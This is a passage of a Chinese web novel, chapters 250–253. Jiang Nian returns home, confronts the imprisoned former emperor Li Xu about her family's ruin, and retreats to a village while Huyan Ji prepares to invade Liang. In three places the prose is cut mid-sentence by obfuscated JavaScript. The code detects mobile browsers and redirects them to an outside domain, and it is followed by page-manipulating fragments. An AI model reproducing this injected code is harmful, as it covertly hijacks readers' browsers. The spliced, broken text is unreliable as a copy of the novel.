接着就听李恒朗声大笑起来,摇头道:“没变,没变,还是同从前一样蛮。” 在东宁殿的宫人们看来,这位娘子不仅大胆,更奇的是能把陛下逗笑。 新进的宫人们不识江念,可宫里的老人们是知道江念的,能在陛下面前如此直言的,放眼整个大梁,也只有这位江家女郎了。 李恒留江念同江轲在宫中用膳,用膳毕,李恒说道:“你劳乏一路,我叫人送你回江府歇息,先休养两日,一切事宜容后再说。” 江念看了一眼江轲:“你呢,随我一道回么?” “我还有些公务吩咐于他。”李恒说道。 江念点了点头,在宫人们的侍引下出了皇宫。 待江念离开,李恒缓缓收起笑,问向江轲:“你在信中说的可是真的?” 江轲恭声回道:“当真,呼延吉派人追来,见我阿姐不愿回王庭,放言断绝关系,从前再不相见,这次……是真恼了。”江轲看向李恒,懊丧道,“若江家被抄,并非呼延吉的意思,我岂不成了拆散阿姐一家的罪人。” “轲儿,你并没有做错,要知道,若不是他,李旭登不了帝位,若李旭不登帝位,江家就不会遭难,这一点是没法改变的事实,不论怎么说呼延吉脱不了罪责。”李恒说罢,拍了拍江轲的肩膀,“这次你做得很好,不必自责,你阿姐回了,你们姐弟也团聚了。” 江轲应是。 …… 江念行到江府大门前,抬头看向门匾,上面赫赫两字,江府。 傍晚的霞光斜照过来,朱红金漆的大门打开了,从门里走来两人,见了江念,欢喜道:“哟!我家丫头回了!” 江念的眼泪再也忍不住,簌簌滚落,唇齿切颤着:“爹,娘——” 伴着这一声,两道人影散在了金光中。 江念垂下头,双臂颓着,眼泪一滴一滴砸到地面,她拿衣袖胡乱揩拭,然后听到一声小心翼翼的惊唤:“娘子?!” 江念抬起头,就见一人跑向她,然后跪到她的脚边,泣声道:“秋水终是盼到娘子了。” “秋水?” 江念看向自己脚边的丫头,是秋水,是她的丫头没错,然后拉她起身,往她面上一看,这才发现她的左半边脸落了一道圆形疤痕,那疤痕有婴孩拳头大小,正正顶在颧骨上,那处的皮皱巴着…… 第250章 玄月下的少年 她身边的丫头自然也是好看的,像秋水,这个从小相伴的丫头,眼睛最好看,睛若秋水,皮肤也水灵,这样一副好姿容,脸上却落了一道疤。 后来,她才知道,秋水被卖到了花柳巷,老鸨让她接客,她不愿,自己在脸上烙了一道印,因破相,之后便做着粗使活计。 江念搀着她的手,进了江府。 “云娘呢?” “婢子已经给她安排好了住处。” 江念看向府园,恢复到从前的样子,好像那一场凶恶的抄家是一场梦,梦中带走了许多人,包括她的双亲。 园子里有从前在江家当值的老人,亦有新进的人,年长的老仆们见了江念,无不掩袖拭泪,上前唤她一声大姐儿。 她亦颔首回应。 江念并没有回自己的院子,而是去了另一方院落,走至院首下,往里盼看一眼,院中景色幽玄。 一面墙上攀爬了藤蔓,在那墙前有花圃,用大石围垒成一个不规则的形,里面的花儿枯败了,只留有残根。 夏日,父亲喜在院中铺纸作画,照着真实的花样画花,母亲便坐在院中的绿荫里摇扇纳凉。 江念收回眼,走进院内,捉裙登上台阶,推开一扇房门,此时天光已暗,屋内光影晦暝。 “你在外面等着。”江念说道。 秋水应是,她不知她家娘子经历了什么,她也探问过,可是无人知晓,她以为自己以后会在花柳巷老死,直到阿郎派人找到她,她又回了江府,再之后娘子也回了。 江念在父母的屋里坐了一会儿,出来时轻轻掩上房门,然后同秋水回了自己院子。 一路回京,先去了皇宫,及至这会儿她才松闲下来。 秋水知道娘子喜洁,她是打小跟在她身边之人,不用吩咐,便知要做什么,于是让下人备来热水,为她盥沐。 洗毕后,出了沐间。 “婢子让灶房上些饭菜?” 江念点了点头,适才在宫里没怎么吃,这会儿真有些饿了。 秋水照从前那样,在她身边布让菜食,屋子里很安静,院子里也很安静,下人们都是极守规矩的。 江念抬眼看向院中,一阵凉风刮来,窗扇“啪”地晃打着。 “秋月,去把窗子关了。” “娘子你怎的把婢子的名字也叫错了。”秋水笑说着,前去关了窗户。 江念无心地笑了一声。 用**后,她便早早睡下了,却并未睡着,屋里点了一盏微火,秋水歇在隔断处。 有脚步声从院外走来,接着响起江轲的声音。 “我姐歇息了?” 院中的仆从应是,又听他说道:“你们好生伺候着。”然后便走了。 江念睁开眼,脑子里荡着呼延吉的那句话,分钗断带恩情绝,云水殊途再不见。 恩情绝,不复见…… 直到三更,秋水仍听到里间榻上翻动的窸窣声,伴着女子轻幽的叹息。 次日一早,秋水起身,披了一件外衫往里间探看,见床帐掩着,隐隐透着一个睡卧的影,心道,娘子昨儿半夜才睡去,她手脚需轻些,莫要惊扰了她。 “秋水。”纱帐中传来轻唤。 秋水忙系了衣带,走到榻边:“娘子醒了?可是要起身?” “你端杯热茶来与我喝。” “是。” 秋水走到门边,推开门,朝外叫了一壶热水,倒了一盏,然后走回榻边打起半边帐幔,正要把茶水递上,却发现她家娘子仍躺睡着,只见其双颊泛红,唇瓣干着,红得不正常,忙把手中杯盏放下,探手到她额上。 “呀!怎的这样烫!” 于是走到屋外让人去请大夫。 江轲听说,赶了过来,秋水把床帐打下,江轲不方便近前,只是立在外间,问道:“大夫还没来?” “已叫人去唤了,应该马上能到。” 正说着,下人们引了大夫前来,上前诊看一番,说是寒郁化热,寒邪伏于体内,阻碍气血运行,郁积日久化为热邪,引起热症。 大夫开了方子,又嘱咐了几句,然后领取银子,走了。 江轲守在屋子的外间不敢离开,心里一面担心江念的病况,又一面记着还要入宫上值。 “轲儿。”江念唤了一声。 “阿姐,我在。” “不必在这里守着,忙你的事去。”江念的声音有些虚弱。 江轲迟疑不定,江念又道:“你在这里守着也无用,阿姐没事,不过一点小风寒,吃了药,睡一觉就好,去罢。” “那我早些回来。” 江念“嗯”着应了。 江轲走之前又对下人们交代几句,这才去了,过了一会儿,云娘也来了,好一番关心,怕扰到她也没久坐。 灶房熬煮好药,端了来,秋水扶江念坐起身,然后接过汤药,喂她喝下。 “我带回的那个包袱呢?”江念问道。 “照娘子的吩咐把里面的衣物都拿出来晾洗了。”秋水说完,看了江念一眼,那里面是几套小儿的衣衫,细软的面料很是精贵华奢。 江念点了点头,吃完药后又睡下了。 这一病就是三日,期间李恒来过,带了几名太医来给她看诊。 隔着床纱他关心她的病况,她因着身体虚弱,应付了几句,不太愿意说话,李恒见她疲累嗜睡,把太医留下,离开了,说是过两日再来看她。 好在江念身体底子不错,病上几日渐渐开始好转。 这日,江念正吃着朝食,院子里听到呼啦啦的叩拜声,便知是李恒来了,于是放下碗筷,看向门外。 李恒进入屋中,径自坐到江念对面,往她脸上望了一眼。 “今日气色瞧着倒好些了。” 自打得知她染病,李恒日日抽时间来江府,她歇在榻上,不便见人,他就坐在外间,同她闲说几句,然后再离开。 “劳阿兄关心。”江念微笑回应。 李恒看了一眼桌上的饭菜,对下人吩咐道:“再添一副碗筷来。”然后转头看向江念,“宫里的饭食不合胃口,到你这里蹭美食来了。” 江念扫了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797410|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼桌上的饭菜,笑出声,因她才病愈,灶房只做了几碟子清淡的鲜蔬,另配一小碟咸菜,这些菜怎么也称不上美食。 “终于见你笑了。”李恒说道。 江念问道:“之前没笑?” “只有这会儿才是真的笑。”李恒拿起碗筷,也不让人布菜,自顾自地吃了起来。 “阿兄真有些不一样了。” 李恒咽下嘴里的饭食,脸带笑意:“念儿这是又要说我老了?” “不是,阿兄从前不这样。”江念说道。 “哦?从前我是哪样?” 江念想了想,说道:“若是从前,阿兄见我用饭,必会说‘念儿慢食,我去院中等你’,在我心里,阿兄一直是松风水月般不似凡尘之人,站得太高,立得太远,可这会儿嘛……有些烟火气了。” 李恒看向江念,说道:“是么?念儿可还记得你十岁那年随老师来太子府发生的事情?” “如何不记得。” 那年,那日,太子府宴客,江太傅带着十岁的江念赴宴,那时的江念稚气未脱,扎着双环髻,髻上系着绫带,脖上戴着赤金璎珞圈,嵌宝挂玉铃。 上身着海棠红缂丝小袄,襟缘滚出两指宽的雪银貂毛,簇着她一张玉团似的小脸,好看得像是菩萨坐下的玉女,带着娇憨之态。 那一年,江念刚满十岁,李恒长她三岁。 趁着开宴,她支开侍从离了席面,偷跑到后园。 此时已是天黑,园子里虽然挂起了灯笼,可那灯光却并不明目,山石树木影影绰绰,只能观得大概形状,树丛矮木里野虫乱鸣。 江念沿着小径走着,不时弯下腰,往草木间探看,低头弯腰找着什么。 此时已入暝色,园中亮起了灯,假山上的凉亭里坐着一人,把她的一举一动看在眼里。 “小丫头,你在做什么?” 江念正聚着精神低头找东西,听到这突兀的一声,吓得一激灵,张目四顾。 “这里。”接着响起温和的笑声。 江念循声看去,就见到玄月下立着一人,少年身姿修长,眉眼温润地看着她。 “是念儿?”少年问道。 江念扬起小巧的下巴:“你认得我?” “老师经常在我面前说起你。”李恒说道。 江念仰着脑袋说道:“原来是太子殿下,你立得太高了,同你说话真累。”说着抚了抚自己的颈脖。 “那你上来。”李恒招了招手,他知道这是个顶顽皮的丫头。 “不了,我不上去,我是大姑娘,咱们还是远着些。”江念说罢,继续低头找寻。 李恒听了这话,很想发笑,可礼教告诉他,不可取笑别人,于是忍下,从假山走了下来,走到江念身边。 “你找什么,我帮你找。” 江念弓着腰,扒开小径边的枝叶,一双眼往草木间探看,嘴里还“嘬嘬”着。 “我来时见着一只白毛狗儿,往这园子来,殿下可见了?” 李恒笑了笑,说道:“那是我养的追风……” 第251章 我来告诉你真相 江念听说那狗儿叫追风,于是直起身,噗嗤一笑:“殿下怎么把一条狗儿取了个‘追风’的名字?” “虽是一条听话的狗儿,可也想像风一样自由,像风一样无拘无束。”李恒眼中漾着温雅的光,只是这光中添了一点落寞。 江念觉得极有道理。 兴是见着主人,那狗儿不知从何处蹿出,蹭到李恒脚边,摇头摆尾,然后又在江念脚边围转,好不欢乐。 “你喜欢它?”李恒问道。 江念蹲下身,抚着狗儿的头,肉团团好小一只,狠狠点了点头:“喜欢。” “我把它送给你。” “当真?”江念问道。 李恒环目看向四周,然后走到一棵树下,他一走动,那狗儿蹭着他的腿颠颠地跟着,李恒从树上扯开一条紧束的麻绳,然后蹲下身将绳在狗儿脖子上打了一个活结。 拉着它走到江念面前,把绳递过去:“你牵着它。” 江念欢喜地接过绳:“多谢殿下。” 狗儿找到了,她也不再多待,牵着就要去前面,谁知长毛狗不随她动,绷着绳,犟在那里。 “它不愿跟我走。”江念有些沮丧,自己这样喜欢它,它却不喜欢自己。 李恒笑了笑,伸出手:“来,把绳子给我。” 江念把绳子递回,李恒牵着绳子一头,然后看向长绳中间某一处:“你牵在后面,这样它就随你走了。” 江念照他说的,也牵起绳,然后两人牵着一只狗儿往前院行去。 乍一看是两人牵着一只狗,实际是前面的少年牵着后面的一人一狗。 江念见李恒问她是否记得十岁那年的太子府筵宴,也扯动了那一幕的回忆。 “自然记得。” 李恒玩笑似的说道:“那条麻绳太长,牵着你走,却让你走丢了……” 我还拽着绳子那头,却不知中间的绳早已被人剪断,待我回头望时,你已不在。 从前,他慎言敏行,约之以礼,不将呼延吉放在眼里,认为他一个属国的质子,凭什么同他争,可就是这么样一个人,害他失了皇位,抢了他的未婚妻。 慢慢他悟得,人太过干净,太过方正是不行的,你不染尘埃怎么在这世间存活,不争不抢更是不行。 江念听李恒之言,便不再接话,端起茶盏饮着。 “我再送你一只长毛狗,如何?”李恒说道。 江念摇头道:“不养了。” 待李恒放下筷箸,江念再次启口:“阿兄,我想去太子府见一见李旭。” “你想问他有关江家一事?” 江念应是。 “好,你若想去便去问个清楚,只是你身子还很虚弱,要不要再缓几日?” “不打紧。”江念一刻也不想耽搁,只想从李旭嘴里听个缘由。 她想知道实情,当年除了江家以外,曾经太子和二皇子的拥趸皆没受到影响,为何独独灭了江家。 她自问他们江家同这位三皇子没有私人恩怨,这就是她想不通的地方。 呼延吉帮扶李旭上位,然后李旭替呼延吉铲除江家,会是这样么? “好,你准备一下,我带你去太子府。”李恒说道。 江念不必准备什么,随即让下人备了马车,同李恒入了前太子府邸。 府内荒凉沉寂,人烟寥寥,几名仆人引着江念和李恒行到一处院落前,门窗半敞着。 “就是这里了。”李恒说道。 江念捉裙就要拾阶而上,却被李恒拦下:“先不要进。” 说着,给身侧的下人睇了一个眼色,那下人会意,先进了屋,接着屋里传来铁链咝咝窣窣沉脆的声音。 那人从屋室出来,躬身于一侧。 李恒看向江念,说道:“进去罢,我在外面候着。” 江念捏了捏手心,她不幸的开端由这人而始,马上就能真相大白,于是提裙上了台阶,推开木门。 这处屋子因避阳的缘故,一进入内里,带着尘感的森冷袭来,叫人有些不适。 屋里的地砖是黑的,黑的发沉,整个屋室没什么摆设,只有一张床和一张罗汉榻,还有一张方桌。 而她要见的那人,靠坐在地砖上,他的身后是一面灰白墙,墙上有两个铁钩,铁钩上套着铁索,索子垂挂下来,另一端禁锢着那人的两只手腕。 “李旭。”江念出声唤他。 那人低着头,没有反应,或是说他根本不愿搭理她。 江念朝前走上一步,问道:“当年你为何要对江家下手。” “为何要灭江家?” “你说话!” 无论江念怎么问,那人只是不作声,对于一个落败的帝王,这些芝麻绿豆般的事情引不起他半点反应。 江念想过很多种可能,却没料到是这样的情状,难怪江轲说让她来看一看,很难讲。 因着李旭的出生,即使他一无所有,也不是他们这些人可以随意对待的,不能施刑,不能威逼。 他若不愿说,她没有任何办法。 “我江家那么多人命,换不了你一句话吗?”江念努力压着火气。 终于铁链响动中,男人抬起头,将头仰靠于墙面,仍如上位者一般睨着面前的女子。 “阿念……你不是嫁给呼延吉做了夷越王妃,怎么又回了?” 江念看着对面之人,都说相由心生一点也没错。 从前,人人都说三皇子憨厚老实,那个时候她也是这样认为的,李旭的面容同李恒有三分肖似。 他整个人看起来不似二皇子精明,也不似太子俊雅,没有什么出彩的地方。 然而今日一看,全然不是,这人颓败懒散的神态间流露出不可控的邪性,哪还有从前憨直的面影。 江念冷声道:“夷越王妃?你下令抄我江家,灭我族人,拜你所赐,我被流放边境充妓。” 李旭提起一边的嘴角,笑道:“啧——忘了,忘了,原来还有这一茬呢。” 江念眼眶发红,忘了?!他说他忘了! “所以说,江家被抄,是你个人的意思了?” 李旭笑得意味深长,却不再言语,把眼闭上。 就在江念以为他不会开口时,听他说道:“你明日再来,明日我告诉你。” 江念知道问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797411|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出什么,便从屋室出来,不见李恒,看了四围一眼,发现他正在不远处的湖亭坐着,她看向他时,他也看了过来,朝她招手。 于是,绕过一片山石,穿行过湖桥,走到亭内,亭内的桌案摆了茶盘并果品。 “可问出什么?”李恒关心道,亲自给江念倒了一杯茶水。 江念坐下,摇了摇头:“他什么也不说,叫我明日再来。” 李恒沉思片刻,说道:“你真要问出个结果?” 江念捏盏的手一紧。 李恒又道:“有没有想过,如果你问出的结果让你不能接受,该当如何?” “没什么不能接受的,在全族上百条性命前,有什么是不能接受的。” “若抄检江家真是拜那人所赐,你要如何?” 一阵风来,江念先是低下眼,复抬起:“阿兄,我这次回来,向阿旭追问根由,并非要坐实我夫君的罪名,而是为了替他释疑,更要消解我同他之间的心结。” “既然你这般想,我也不好再说什么,明日你来便可,府里我会交代下去。” “多谢阿兄。” 李恒笑道:“你从前可不会同我这样客气,这性子真是变了,就算你说我老,我也得说。” “怎能不变呢,大家都变了。”江念转头望向湖面。 两人又坐了半晌,离了太子府。 回了江府,江轲寻来问江念情况,江念大概说了,姐弟二人又说了些话。 次日,江念带着随从再次去了前太子府。 这次没有李恒陪同,不过因着李恒的交代,府中下人径直将她带到那间屋室前,仍是下人先进去锁好铁链,出来再请江念入内。 “昨日你说让我今日来,你便道出实情,现在我来了,说罢。”江念说道。 李旭讽笑一声,说道:“真好。” “什么?” “你能来陪我说话真好,好长时间没人同我说话了,他们都是哑巴,无论我说什么,不给半点回应。”李旭嗤笑一声,“李恒为了仁德之名,不直接杀我,却想让我疯掉。” 说罢看向江念:“以后你来陪我说话,哪日我高兴了,我就告诉你,如何?” 江念朝李旭走去,一步一步靠近,李旭的眼珠压了压,看着女人靠近的步子,就在她行到第二块砖缝时,眼神一暗,突然冲暴而起,抓向江念。 然而却止在那里,没了下一步动作,冰冷锋利的**抵上他的颈,划破皮肉,流出血来。 “见血了,还不愿说是么?”江念说道。 李旭僵凝着不再动弹。 “好,我说,我说,你把**放下。” 江念将锋刃对着李旭,退到第二块砖缝后止住,冷然地看着他。 李旭抬手摸向脖子上的伤口,拿到眼下一看,一手的血。 “死不了。”江念说道。 “你倒是豁得出去,敢对我下手,连李恒都不敢。”李旭说罢,转而又是一愣,嘲讽道,“差点忘了你的身份,如今你已算不上真正的梁人。” “可以说了?” “好,我来告诉你真相……” 第252章 发兵大梁 李旭把江念看了一会儿,将手上的血往衣襟上擦拭,倏忽一笑。 “阿念,糊涂一点好,你为何一定要问这么清楚,好好在夷越做你的王妃,不比什么都强?我听说呼延吉待你好,你又为他诞下子嗣,以他对你的心,整个夷越都是你母子的,你儿子将是夷越君王,就这么过完一辈子,何必追根究底。” 江念眼睫一颤,仍是冷着面目。 只听李旭又道:“你如今跑回大梁,我阿兄还会再让你走?你就没想过这个问题?” “这个不消你操心。” “嗯,看来你是持着破釜沉舟的决心了,让我猜猜啊……你这一走,呼延吉必不会谅恕你的行径,我猜你是回不得夷越了。”李旭提起嘴角,道出后面一句,“夷越子凭母贵,你这一走你儿子的王储之位就没喽——” 男人说到这里笑得格外开心,幸灾乐祸道:“呼延吉还会再立大妃,届时,你儿子在夷越就是一个没娘的小杂种。” 江念稳住心神,说道:“有他父亲……” 江念话未说完,李旭又是一乐,笑着摇头道:“你若在,呼延吉才是慈父,你若不在嘛,有晚娘必有继父,没听过这句话?男人心里装着的,从来只有他枕边那个女人,哪怕那女人生的不是他的种,他亦能视如己出,何论他重立大妃,再生儿女,你那儿子,他能顾盼几分?” “一边是灭族弑亲之恨;一边是亲子未来的通衢大业,你……选择了前者。” 江念的心有一瞬被搅乱,不过很快沉下来,李旭这话到底想传递什么意思?一边是灭族弑亲之恨;一边是亲子未来的通衢大业。 她有些不敢问下去…… 李旭似是看出江念面前的铁盾出现了裂缝,轻讽道:“回去罢,知道真相只会让你更痛苦,傻傻过完一辈子。” “所以你的意思是,灭江家是呼延吉的意思?”江念问道。 李旭先是看向江念,再把眼错开,穿过积满灰尘的窗棂,看向外面刺眼的光,让光融入眼中,日影下流动的色调,绿的、红的、黄的…… “你心里已有答案,还来问我,其实你想从我嘴里听到江家被灭不关呼延吉的事,可对?” “我要你告诉我实情。” 这时的李旭,表情变得无比认真,听他说道:“实情就是,我同呼延吉交结,他帮我夺得皇位,事成后,他让我整治江家。” 李旭见江念似是不信,又道:“你可还记得当年闹得挺大那件事?” 江念想了想,说道:“你说的是……” “不错,当年呼延吉用初代夷越王传下来的玉珏奉请到我父皇面前,请旨赐婚,那年下了好大的雪,他跪于阶下的雪地里,结果你祖父入殿,阻了这段姻缘,断了他的念想,从那会儿,他就记恨上了你江家人。” “他对你有心,不愿恨你,便把这份恨意记在了你江家人头上,只不过江家被抄之时,老师已仙去了。” 江念听后,没有太大的情绪波动,一张脸像冻住了一般,声音也冒着冷气:“还有呢?” “还有什么?如此而已,他对你祖父有恨,对你又放不下,灭了江家,让你无家族可依,他便成为你余生的依傍,你再离不开他,说起来,倒像是变相的豢养,所以我说,你何必要搞清楚,就这么糊涂一辈子,未必是件坏事。” 一直以来压伏的情绪再承不住,江念两步上前,将带血的**再次抵上李旭的喉:“假的,你定是在骗我!” “我都这个样了,还有必要骗你?”李旭也无所谓了,把头撇向一边,一双眼仍是望着窗外,“若非沦落到此等地步,轮得到你来质问我?我不过就是想活着……” 江念不再多说一句,转身离开。 …… 彼边,呼延吉于议政殿召集文武众将,分列而坐。 殿中气氛凝重,每个人的表情都很严肃。 “臣以为攻下梁西境不久,眼下不该遽入梁境,当厉兵秣马,蓄养元气,休养个一年半载,再攻入大梁更为稳妥。”一名文臣说道。 “此言差矣,用兵之道,贵得天时地利,今我军锋正锐,兵贵神速,正宜乘破竹之势,直捣梁都!”一开武将反驳道。 呼延吉坐于正首不语,静听文武争论。 崔致远觑了一眼君王,起身道:“臣以为此时正该攻入梁境,且不能再缓。” 崔致远此言一出,争论的众人息下声音,俱看向他。 呼延吉点头道:“为何?” “梁国之前的皇帝是李旭,李旭这人心胸狭窄,眼界浅短,毫无君王之才,不足为惧,可如今不同,如今的梁帝是李恒,李恒这人众位大人是知道的,其才智韬略不可小觑,夷越才挫大梁锐气,若缓怠期年,我方养精蓄锐的同时,彼方亦在养精蓄锐,这个弊端于夷越更不利,不如乘胜直捣梁都,方为上上之策。” 崔致远说罢,之前反对进发梁境的几名文臣沉吟不语,之后又赞同地点了点头。 呼延吉问道:“众位大人觉着呢?” 此时再无异议,皆同意发兵大梁。 最后,呼延吉任昆善、葛萨还有达鲁为北征大将,多方进发大梁。 三人当下领命。 待君王离去后,众人从议政殿依序而出。 崔致远正在前面走着,从后行来一人,正是阿史勒。 “还得是你,刚才争论得那样激烈,大王都没说一句话,结果你一开口,就定了。” 崔致远叹了一口气。 “叹什么气。”阿史勒往他脸上望了一眼。 崔致远说道:“不是我的言语说动了大王,而是我找了一个更为合适的理由说动了那些大臣。” “你的意思是,君王心里早已有了定数,决意攻入梁都?” 崔致远点头道:“不错,大王不过是借我之口来说服那些反对攻梁的朝臣,攻入梁境势在必行,今日议政也不过是走走过场。” “你怎么知晓得那样清楚,大王私下找过你?” “这种事哪还需要王亲自交代。”崔致远看了一眼周围,低声道,“梁妃的事你听说了没有?” “说是随小国舅回大梁了,好像族中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801393|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些事务待办。” “族中?什么族中?她全族都没了!整个江家只她姐弟二人。”崔致远说道。 阿史勒将声音压得更低:“你的意思是……” 崔致远轻笑一声:“我没什么意思,梁妃归梁不久,大王就要举兵攻入梁都,你自己去想。” 说罢往前走去。 阿史勒赶了上去:“你明日带苓姑回来,老大人昨儿还叨念你们……” 两人的声音逐渐远去。 …… 岁月闭门,不知寒暑。 江念自打从太子府出来后,便闭在江府不出,每日话也少,整个人的情状非常不好,像是陷了下去,出不来。 秋水在一旁看着焦急,却也没有办法,她作为下人,不能过问主人私事,需得恪言守矩,以前她是主人的心腹,很多事情无需过问,心中自是清楚,还能从旁宽慰一二。 可这一别好几年,她家娘子到底经历了什么,她无从得知,更不论如何去开解她。 她只知道,娘子每晚都会拢着一件小儿的衣衫,偎着小衫入睡,还有好几次,娘子将她的名字唤成了秋月。 她亦不敢多问。 到后面,连哥儿来看她,她也懒怠应付了,通常就是说两句然后借由身累把他打发走。 除了皇宫里的那位来,娘子会强撑起精神,其他时候,她都不愿理人,像是把自己置于封闭的瓮中,不愿面对任何人、事。 好在云娘偶尔来找她说话,解解闷郁。 这个时候的梁国早晚寒凉,这日一早,江念正用早饭,云娘寻了来。 “云姐姐坐下一道吃些。”江念说着让秋水再添一副碗筷。 云娘本已用过朝食,这会儿只随着江念吃一些。 “我见你眉间锁着愁思,不开颜,整日只在小院中,哪儿也不去,长期下去,没有病也窝出病,正巧我要回去一些时日,不如你随我去乡间走一走,只当散心解闷了,就是心里有再多不解之事,兴许看一看山水田园也就明朗了。” 江念听说,问道:“云姐姐要回乡?” “是啊,回大梁后奴一直住娘子府上,未曾归家,人嘛,近乡情怯,总还是想着回去看一看的。”云娘笑道,“虽说京都繁华,样样都好,却没有我们乡野间的美景,娘子不妨随我往田间走一走,抛下心中的困顿,置身于自然之景,什么也不去想。” 江念讷讷道:“什么也不想……” “对,什么也不想,你就随我去看一看底下老百姓的日子,每日两眼一睁,只为二字愁烦,就是吃、穿,多简单呐。”云娘说着,看了一桌的精美饭食,“娘子看看这桌子菜,对普通百姓来说,是一辈子也吃不到嘴的。” 江念听云娘利索说着,跟着一起思忖起来。 “人呢,得到的多了,烦恼也就大了,这个时候,不如把身子降一降,回于本真,也许烦恼也就跟着降了。”云娘端起碗呼啦啦几口将米粥喝尽。 江念点头道:“云姐姐说的是,左右也是无事,我随你去乡间转一转,住上一段时日……” 第253章 直取梁都 云娘打算回老家云水村,离开前探望江念,问她是否愿随自己回乡住上一段时日。 江念应下。 江轲得知江念要去乡野,有些担心。 “阿姐怎能去那种穷乡僻壤之所,都说穷山恶水出刁民,你去那里我不放心。” “哪里就穷山恶水了,云水村离京都并不远,驾车不过几日的路程。” 江轲仍是不松口:“那也不行,如今外面乱得很,阿姐就在这府里,你去了村子,我心难安。” 他没让她知晓,夷越举兵伐梁,其志直取京都,眼下兵荒马乱,世道不太平,他万不能让她乱走。 江念看着江轲紧绷的面庞,知道他也是担心自己,如今江家需他顶着,很多时候不得不多思多虑。 “好,那我不去了。”江念叹了一口气。 江轲反倒有些惊措,怔怔道:“真的,阿姐不去了?” “是,听你的,不去了,我就在府里陪着你。” 江轲觉得自己有些自私,她近日的情状他看在眼里,于是转口道:“那我派护卫跟着,你把秋水那丫头带上。” 江念见他已是退让,便没再说什么,于是带了秋水并两名护卫,同云娘一道乘车往云水村行去。 马车内很宽敞,江念三人坐于车内,出了城门,再行一段路便是不一样的风景。 因他们出发时已是午后,天边霞光如锦,一群野雁排成一字从西坠的红日前飞过,这天像是一幅大的卷轴,映照出下界的万物。 从不同角度看去,就是不同的画景。 夜晚,他们一行人在一农户家借宿,次日一早再次启行。 秋日晨雾弥漫,湿染衣衫,透帘而入。 江念这几年过惯了夷越潮热的气候,骤然转凉的天气让她有些不适应,鼻管里凉凉的,忍不住吸了吸,还不敢太用力,不然这凉气直冲脑门。 秋水往江念身上披了一件外衫,在她领口拢了拢,然后倒了一杯热水递到她手里,又给云娘递上一杯。 云娘道过谢,然后笑看着江念。 “云姐姐,你笑什么?”江念问道。 “如同梦一样哩!小娘子想想,咱们从前一道被发配,这会儿却坐在车里悠闲自在,话说回来,还得多亏越王,那日若不是碰上他,后果难料。”云娘自顾说着,说了一半,像是自知失言,忙止住了话头。 江念笑了笑,一时间车内再次安静下来。 就这么的,走了两日,终于到了云水村,三人先在镇上采买了一应生活用品。 云娘在村里有房子,那房子带着一方小院,是她过世的男人留下的,空了许久,如今要住人,少不得扫洒一番。 清整好后,简单做了饭食,几人吃过后,江念、秋水还有云娘住一间屋室,两名护卫住侧面的杂房。 晚间,三人早早睡下,次日一早,江念眼还未睁,就听到“咯咯——”打鸣声,还伴着一声接一声的犬吠,又有林间野鸟唧啾,好不热闹。 这一天就在鸡鸣狗叫中开始了。 因在乡野间,江念轻简装扮,云娘带着她出了门,两名护卫远远跟着。 此时的江念身着布衣,一头乌柔云发用碎花绾起,就是普通农妇的扮相,可那姿容还是引得不少追逐的目光。 此时一个卷着裤腿的村汉,立于田埂上,着一件打补丁的短衫,头上歪扎着髻,瞥见田那头的云娘,以为看错了,再睁眼一看,发现还真是。 “云娘,你不是被官府捉去了么?” 云娘把腰一叉,扯着嗓子回喊一声:“我又没罪,官老爷问清事由就把我放了。” 那人不信,笑问道:“既然没罪怎么这几年不见你,如今回来还带了这么个金贵的娘子?” 说着看向云娘身边的女子,见那女子看向自己,不好意思地挠了挠头。 云娘挽上江念,说道:“这是我远房妹子,我去她家住了几年,不成?” “成,成。” 此时有早起上山采摘野菜的妇人挽着篮子经过,同云娘闲话,然后不时拿眼把江念打量,又向云娘打听,年岁几何,哪里人士,家里有几口人,做什么营生的。 云娘笑说道:“你们这些婆娘,几年不见,不问我,倒是关心我妹子。” 妇人们亦笑道:“你有啥可关心的,腰肢比从前还圆了,一看就是过上了好日子。” 一语毕,妇人们前仰后合地笑起来,真实不做作的笑声在晨雾的田野间畅快地飘开,传遍阡陌良田。 江念看着眼前的一幕,觉得心里也跟着轻松起来,看着她们谈笑,说着家长里短。 任烦恼再汹涌,也不过是大江大河里微不足道的浪花。 她心底的难症还在,并未解开,可心境不似那样苦郁,有一只无形的手在安抚。 云娘带着江念在村子里兜转了一圈,走到一条清澈的村溪边,寻了一块平坦的大石坐下。 “怎么样,我们云水村的风景不错罢?” 江念挽起耳边的碎发,点头道:“衔山绕水,这小村庄会生地方。” 云娘噗嗤一笑:“听你一说,感觉咱们村活了,是从土里生出来的。” 